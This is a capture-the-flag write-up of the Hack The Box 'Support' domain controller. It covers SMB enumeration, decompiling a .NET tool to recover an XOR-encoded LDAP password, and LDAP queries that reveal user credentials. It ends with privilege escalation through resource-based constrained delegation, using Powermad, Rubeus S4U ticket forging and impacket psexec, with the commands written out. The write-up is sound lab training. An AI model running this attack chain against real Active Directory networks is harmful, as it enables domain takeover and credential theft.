Dubbed as "easy", I certainly had a lot of fun with the privilege escalation of this box. Paired with some reverse engineering and focus on enumeration throughout the foothold of the box, I have the feeling that this box will make it's way into the NetSecFocus Trophy Room.
An initial nmap scan shows the following:
PORT STATE SERVICE
88/tcp open kerberos-sec
389/tcp open ldap
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
This already tells us a lot about this machine: It's obviously a domain controller, and there's no super obvious webserver to enumerate. I started off with SMB right away, hoping to find some goodies.
smbmap
behaves in a weird way, and once again I fell for it, thinking "aight, nothing here". Later I remembered that there was in fact some inconsistencies, that require an actual "wrong" username in order to login as a guest user. Providing an empty user & password as well as neither won't work here.
smbmap -H support.htb -u "anonymous" -p ""
-> There's the usual, plus one very interesting share: support-tools
Logging into this share it is fairly obvious that it is a collection of compiled tools which staff can grab and user. Every tool, except one, was already known to the public, which makes them less interesting in a CTF-environment. The sole tool that doesn't seem to return any related results was UserInfo.exe.zip
.
I resorted to ilspy ILSpy
, which is a decompiler specifically for .NET environments.
Inside the executable we can find two definitions that are interesting to us:
enc_password
(and key but not spoiling that for you)getPassword()
seems to be the function to decrypt it.Getting this in python is a 5s thing (thank you openai):
for i in range(len(array)):
array2 += chr(array[i] ^ key[i % len(key)] ^ 223)
And we got a password!
Taking a closer look at the rest of the logic also reveals the username support\\ldap
that was being used:
This step takes some minor enumeration. I didn't necessarily grep and cut like the utmost bash-ninja, instead just read through all of the entries.
By the time I queried CN=Users
I already had the final password but laid out the steps to find it, just in case.
With the newly discovered credentials, our query becomes:
ldapsearch -v -x -b "DC=support,DC=htb" -H "ldap://support.htb" -D "support\\ldap" -w '<password>'
Users
group:ldapsearch -v -x -b "CN=Users,DC=support,DC=htb" -H "ldap://support.htb" -D "support\\ldap" -w '<password>'
support
user:ldapsearch -v -x -b "CN=Support,CN=Users,DC=support,DC=htb" -H "ldap://support.htb" -D "support\\ldap" -w '<password>'
info
entry, that looks a lot like something used to prove authenticity to a server;)ldapsearch -v -x -b "CN=Support,CN=Users,DC=support,DC=htb" -H "ldap://support.htb" -D "support\\ldap" -w '<password>' | sed -n 's/^[ \t]*info:[ \t]*\(.*\)/\1/p'
We should now validate those credentials using crackmapexec
crackmapexec ldap support.htb -u support -p <password>
crackmapexec winrm support.htb -u support -p <password>
So we have a shell, but what now?
I started off running the usual winPEAS
in the background and focusing on getting BloodHound
up, since this is a "easy" rated domain controller. Knowing HTB this was where to look.
We are a part of the SHARED SUPPORT ACCOUNTS
group, which has the GenericAll privilege on the domain controller. According to BloodHound, this is a privilege escalation vector that may be abused.
Resource-Based Constraint Delegation is a feature in Active Directory that allows administrators to specify which users or groups are allowed to delegate their permissions to other users or groups. This can be useful in situations where a user needs to perform a task that requires permissions that they do not have, but a user with the necessary permissions trusts them to perform the task on their behalf. For example, an administrator may allow a group of IT technicians to delegate their permissions to reset user passwords, as long as the request is made by a member of the HR department.
S4UProxy is a feature in Active Directory that allows a user to obtain a service ticket for a different user without knowing their password. This feature is typically used in situations where a service account needs to access a resource on behalf of a user, but the service account is not trusted to know the user's password. S4USelf works in a very similar way, allowing a user to obtain a ticket for itself. In a S4UProxy attack, an attacker exploits this feature to obtain a service ticket for a high-privileged account, such as an administrator account, without knowing the password for the account. The attacker can then use the service ticket to access resources and perform actions that are normally restricted to the high-privileged account.
First, we leverage powermad to create a new machine account using our GenericAll
privileges on the domain.
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Now we set the PrincipalsAllowedToDelegateToAccount
to allow for SERVICEA
to impersonate any user against our target DC
Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount SERVICEA$
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount
Next, we use Rubeus
to get a hash of our password. In a second step, we perform a the actual S4U
attack, which can be done with Rubeus as well. Please note that this step abuses intended functionality, and requires the above mentioned misconfigurations to be present.
In this case we have GenericAll
or any other write privileges on the target machine, which allowed us to misconfigure the rest ourselves.
.\Rubeus.exe hash /password:123456 /user:SERVICEA$ /domain:support.htb
.\rubeus.exe s4u /user:SERVICEA$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
This is the basic attack, but more work is needed to login, as the ticket is injected into memory by Rubeus
and usually intended to use immediately within a multi-machine environment.
Grab the ticket and format it, then convert it to a usable ticket for impacket.
echo <ticket> | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
Now we can use impacket psexec to login:
psexec.py -k -no-pass support.htb/[email protected] -dc-ip 10.10.11.174 -target-ip 10.10.11.174
ldapsearch
queries.